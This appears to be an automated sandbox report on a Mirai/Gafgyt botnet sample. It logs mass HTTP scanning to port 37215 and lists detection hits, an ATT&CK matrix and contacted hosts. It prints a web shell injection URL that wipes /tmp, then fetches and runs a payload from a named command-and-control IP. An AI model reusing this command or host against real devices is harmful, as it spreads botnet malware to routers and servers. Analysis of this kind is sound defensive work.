Source: unknown	Network traffic detected: HTTP traffic on port 36384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47886 -> 37215

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6236)

Queries kernel information via 'uname':

Jump to behavior

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6236.1.000055cc7edd5000.000055cc7ee5a000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6244.1.000055cc7edd5000.000055cc7ee5a000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6236.1.00007ffc2f9a8000.00007ffc2f9c9000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6244.1.00007ffc2f9a8000.00007ffc2f9c9000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6236.1.000055cc7edd5000.000055cc7ee5a000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6244.1.000055cc7edd5000.000055cc7ee5a000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6236.1.00007ffc2f9a8000.00007ffc2f9c9000.rw-.sdmp, db0fa4b8db0333367e9bda3ab68b8042.spc.elf, 6244.1.00007ffc2f9a8000.00007ffc2f9c9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE
Source: Yara match	File source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE
Source: Yara match	File source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6244, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Gafgyt

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE
Source: Yara match	File source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf, type: SAMPLE
Source: Yara match	File source: 6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6244, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	62%	Virustotal		Browse
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	70%	ReversingLabs	Linux.Trojan.Mirai
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://212.227.135.15/bin	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+212.227.135.15/jaws;sh+/tmp/jaws	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plutoc2.site	212.227.135.15	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+212.227.135.15/jaws;sh+/tmp/jaws	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://212.227.135.15/bin	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	false		high
